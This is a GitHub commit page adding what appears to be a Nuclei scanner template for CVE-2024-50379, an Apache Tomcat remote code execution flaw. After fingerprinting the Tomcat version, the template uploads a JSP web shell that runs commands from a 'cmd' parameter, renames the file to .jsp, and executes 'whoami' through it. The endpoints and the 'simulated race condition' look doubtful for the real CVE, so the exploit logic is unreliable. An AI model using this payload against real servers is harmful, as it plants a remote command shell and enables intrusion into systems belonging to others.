-
Notifications
You must be signed in to change notification settings - Fork 2.7k
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
Showing
1 changed file
with
74 additions
and
0 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,74 @@ | ||
id: CVE-2024-50379 | ||
|
||
info: | ||
name: Apache Tomcat TOCTOU RCE | ||
author: s1d6p01nt7 | ||
severity: critical | ||
description: | | ||
Detects vulnerable versions of Apache Tomcat affected by CVE-2024-50379. If detected, it attempts exploitation by uploading a malicious file and verifying execution, including a simulated race condition during the file upload process. | ||
tags: tomcat,rce,cve-2024-50379 | ||
|
||
http: | ||
- raw: | ||
- | | ||
GET / HTTP/1.1 | ||
Host: {{Hostname}} | ||
matchers-condition: and | ||
matchers: | ||
- type: word | ||
part: header | ||
words: | ||
- "Apache-Coyote" | ||
- type: regex | ||
part: header | ||
regex: | ||
- "Apache Tomcat/(9\\.0\\.(5[0-9]|6[0-9]|7[0-7])|10\\.1\\.[0-7]|11\\.0\\.0-M[0-1])" | ||
|
||
- raw: | ||
- | | ||
POST /uploads HTTP/1.1 | ||
Host: {{Hostname}} | ||
Content-Type: multipart/form-data; boundary=boundary | ||
Custom-Header: [email protected] | ||
------boundary | ||
Content-Disposition: form-data; name="file"; filename="exploit.tmp" | ||
Content-Type: text/plain | ||
<% Runtime.getRuntime().exec(request.getParameter("cmd")); %> | ||
------boundary-- | ||
matchers-condition: and | ||
matchers: | ||
- type: status | ||
status: | ||
- 200 | ||
|
||
- raw: | ||
- | | ||
POST /uploads/rename HTTP/1.1 | ||
Host: {{Hostname}} | ||
Content-Type: application/json | ||
Custom-Header: [email protected] | ||
{ "old_name": "exploit.tmp", "new_name": "exploit.jsp" } | ||
matchers-condition: and | ||
matchers: | ||
- type: status | ||
status: | ||
- 200 | ||
|
||
- raw: | ||
- | | ||
GET /uploads/exploit.jsp?cmd=whoami HTTP/1.1 | ||
Host: {{Hostname}} | ||
matchers-condition: and | ||
matchers: | ||
- type: word | ||
words: | ||
- "tomcat" | ||
|
||
stop-at-first-match: true |